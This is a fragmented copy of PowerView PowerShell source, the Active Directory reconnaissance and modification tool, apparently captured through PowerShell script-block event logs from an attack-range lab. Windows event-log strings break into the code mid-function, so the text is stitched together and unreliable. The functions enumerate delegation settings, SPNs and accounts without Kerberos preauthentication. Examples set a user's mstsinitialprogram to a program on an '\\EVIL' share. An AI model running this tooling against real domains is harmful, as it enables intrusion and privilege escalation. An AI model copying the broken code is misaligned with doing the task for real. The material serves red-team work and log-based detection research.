.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a
Count Name
----- ----
4 CN=Administrators,CN=Builtin,DC=testlab,DC=local
4 CN=Users,CN=Builtin,DC=testlab,DC=local
2 CN=Guests,CN=Builtin,DC=testlab,DC=local
1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local
1 CN=Schema Admins,CN=Users,DC=testlab,DC=local
1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
4 CN=Domain Admins,CN=Users,DC=testlab,DC=local
1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local
1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local
1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local
8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local
2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,...
1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con...
1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local
3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local
.EXAMPLE
'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory
ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387
AttributeName : member
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-03-06T00:48:29Z
TimeCreated : 2017-03-06T00:48:29Z
LastOriginatingChange : 2017-03-06T00:48:29Z
Version : 1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
AttributeName : member
AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-06-13T22:20:02Z
TimeCreated : 2017-06-13T22:20:02Z
LastOriginatingChange : 2017-06-13T22:20:22Z
Version : 2
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220
AttributeName : member
AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local
TimeDeleted : 2017-03-06T00:48:29Z
TimeCreated : 2017-03-06T00:48:29Z
LastOriginatingChange : 2017-03-06T00:48:29Z
Version : 1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.EXAMPLE
Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local
ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2
AttributeName : member
AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
TimeDeleted : 2017-04-10T22:17:19Z
TimeCreated : 2017-04-10T22:17:19Z
LastOriginatingChange : 2017-04-10T22:17:19Z
Version : 1
LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
l
.OUTPUTS
PowerView.ADObjectLinkedAttributeHistory
Custom PSObject with translated replication metadata fields.
.LINK
https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObjectLinkedAttributeHistory')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Set-DomainObject {
<#
.SYNOPSIS
Modifies a gven property for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name b68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109898Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1241 }
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
else {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['Printers']) {
Write-Verbose '[Get-DomainComputer] Searching for printers'
$Filter += '(objectCategory=printQueue)'
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
$Filter += "(operatingsystem=$OperatingSystem)"
}
if ($PSBoundParameters['ServicePack']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if ($PSBoundParameters['SiteName']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
$Filter += "(serverreferencebl=$SiteName)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
else { $Results = $CompSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Computer = $_
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
$Computer
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
}
}
$CompSearcher.dispose()
}
}
}
function Get-DomainObject {
<#
.SYNOPSIS
Return all (or specified) domain objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
if ($Filter -and $Filter -ne '') {
$ObjectSearcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
else { $Results = $ObjectSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$Object
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
}
}
$ObjectSearcher.dispose()
}
}
}
function Get-DomainObjectAttributeHistory {
<#
.SYNOPSIS
Returns the Active Directory attribute replication metadata for the specified
object, i.e. a parsed version of the msds-replattributemetadata attribute.
By default, replication data for every domain object is returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
This is the domain attribute replication metadata associated with the object. The results are
parsed from their XML string form and returned as a custom object.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Only return replication metadata on the specified property names.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectAttributeHistory -Domain testlab.local
Return all attribute replication metadata for all objects in the testlab.local domain.
.EXAMPLE
'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48b68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109896Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1041tedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
